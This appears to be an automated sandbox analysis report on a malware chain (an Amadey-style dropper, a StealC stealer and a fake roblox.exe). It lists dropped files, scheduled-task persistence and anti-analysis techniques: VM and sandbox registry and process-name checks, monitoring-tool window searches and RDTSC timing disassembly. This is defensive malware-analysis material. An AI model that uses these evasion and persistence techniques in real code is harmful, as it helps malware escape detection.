Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_http_parser.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\multidict\_multidict.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\v_dolg[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1006591001\sintv.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\python310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File created: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\sintv[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.6.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\roblox[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_helpers.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\goldddd123[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\legs[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File created: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\frozenlist\_frozenlist.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_http_writer.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\yarl\_helpers_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	File created: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_websocket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_ssl.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\random.exe.6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Window searched: window name: RegmonClass

Source: C:\Users\user\Desktop\random.exe.6.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

20_2_00649860

Source: C:\Users\user\Desktop\random.exe.6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_20-82791

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-10020
Source: C:\Users\user\Desktop\random.exe.6.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_1-10009

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	System information queried: FirmwareTableInformation

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	API/Special instruction interceptor: Address: B7D06A
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	API/Special instruction interceptor: Address: ABE973

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\random.exe.6.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UFIDDLER.EXE
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: USBIEDLL.DLLUANTIVM.CHECKDLLT
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: QEMU-GA.EXE
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UXENSERVICE.EXE
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMUSRVC.EXE
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UWIRESHARK.EXE
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UOLLYDBG.EXE
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXE
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: USBIEDLL.DLL
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UVMTOOLSD.EXEUVMWARETRAY.EXEUVMACTHLP.EXEUVBOXTRAY.EXEUVBOXSERVICE.EXEUVMSRVC.EXEUPRL_TOOLS.EXEUXENSERVICE.EXEUANTIVM.CHECKPROCESST
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPROCESSHACKER.EXE
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UQEMU-GA.EXE
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UVMUSRVC.EXE
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: B0EE3D second address: B0EE43 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C837FA second address: C83804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C83804 second address: C83809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C83809 second address: C83826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62B87735E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C83826 second address: C8382A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C72844 second address: C72848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C72848 second address: C72853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C828DC second address: C828E6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F62B87735DEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C82E45 second address: C82E49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C82E49 second address: C82E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F62B87735DEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C82F81 second address: C82FA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c jng 00007F62B852080Dh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C82FA9 second address: C82FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62B87735E5h 0x00000009 jp 00007F62B87735D6h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C86E70 second address: B0EE3D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 584F1ABAh 0x0000000e ja 00007F62B85207E6h 0x00000014 sub dword ptr [ebp+122D2AC6h], edi 0x0000001a push dword ptr [ebp+122D0A4Dh] 0x00000020 pushad 0x00000021 mov dword ptr [ebp+122D1C81h], edx 0x00000027 xor dword ptr [ebp+122D2B55h], esi 0x0000002d popad 0x0000002e call dword ptr [ebp+122D1CDBh] 0x00000034 pushad 0x00000035 jmp 00007F62B85207E0h 0x0000003a xor eax, eax 0x0000003c sub dword ptr [ebp+122D1DD8h], esi 0x00000042 mov edx, dword ptr [esp+28h] 0x00000046 jp 00007F62B85207DCh 0x0000004c mov dword ptr [ebp+122D1DD8h], eax 0x00000052 mov dword ptr [ebp+122D2EFAh], eax 0x00000058 xor dword ptr [ebp+122D1EC8h], esi 0x0000005e mov esi, 0000003Ch 0x00000063 jno 00007F62B85207E6h 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d jg 00007F62B85207D7h 0x00000073 clc 0x00000074 lodsw 0x00000076 jmp 00007F62B85207DEh 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f pushad 0x00000080 pushad 0x00000081 jg 00007F62B85207D6h 0x00000087 mov ecx, dword ptr [ebp+122D3026h] 0x0000008d popad 0x0000008e popad 0x0000008f mov ebx, dword ptr [esp+24h] 0x00000093 sub dword ptr [ebp+122D1D4Fh], eax 0x00000099 nop 0x0000009a push eax 0x0000009b push edx 0x0000009c push eax 0x0000009d push edx 0x0000009e jmp 00007F62B85207DEh 0x000000a3 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C86F28 second address: C86F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C86F2C second address: C86F36 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F62B85207D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C86F36 second address: C86F82 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F62B87735D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F62B87735E4h 0x00000015 jnl 00007F62B87735D6h 0x0000001b popad 0x0000001c pop eax 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 jnl 00007F62B87735EAh 0x00000027 rdtsc
